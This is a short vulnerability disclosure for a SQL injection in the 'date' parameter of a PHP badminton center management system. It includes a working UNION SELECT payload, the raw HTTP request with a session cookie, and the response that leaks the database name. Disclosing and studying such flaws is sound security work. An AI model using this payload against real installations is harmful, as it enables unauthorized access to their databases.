

main

...

bug_report / vendors / oretnom23 / badminton-center-management-system / SQLi-1.md



debug601 Create SQLi-1.md

History

1 contributor

26 lines (18 sloc) | 1.21 KB

...

Badminton Center Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html>

Vulnerability File: /bcms/admin/?page=reports/daily_court_rental_report&date=

Vulnerability location: /bcms/admin/?page=reports/daily_court_rental_report&date=, date

[+] Payload: /bcms/admin/?page=reports/daily_court_rental_report&date=2022-05-27%27%20union%20select%201, database(), 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13--+ // Leak place ---> date

```
GET /bcms/admin/?page=reports/daily_court_rental_report&date=2022-05-27%27%20union%2
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
GET /bcms/admin/?page=reports/daily_court_rental_report&date=2022-05-27%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
<col width="15%">
<col width="10%">
</colgroup>
<thead>
<tr>
<th>#</th>
<th>Date Created</th>
<th>Client</th>
<th>Court</th>
<th>Start</th>
<th>End</th>
<th>Amount</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">1</td>
<td>1970-01-01 08:00</td>
<td>bcms_db</td>
<td>13</td>
<td class="">Jan 01, 1970 08:00 AM</td>
<td class="">Jan 01, 1970 08:00 AM</td>
<td class="text-right">9</td>
</tr>
</tbody>
<tfoot>
<th class="py-1 text-center" colspan="6">Total Court Rentals</th>
<th class="py-1 text-right">9.00</th>
</tfoot>
```

Load URL 192.168.1.19/bcms/admin/?page=reports/daily_court_rental_report&date=2022-05-27' union select 1,database(),3,4,5,6,7,8,9,10,11,12,13--+ |

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☐ Insert string to replace ☐ Insert replacing string ☒ Replace All

BCMS - PHP

Badminton Court Management System - Admin

Admin

Daily Court Rentals Report

Filter

Choose Date

1970-01-01

Filter Print

#	Date Created	Client	Court	Start	End
1	1970-01-01 08:00	bcms_db	13	Jan 01, 1970 08:00 AM	Jan 01, 1970 08:00 AM
Total Court Rentals					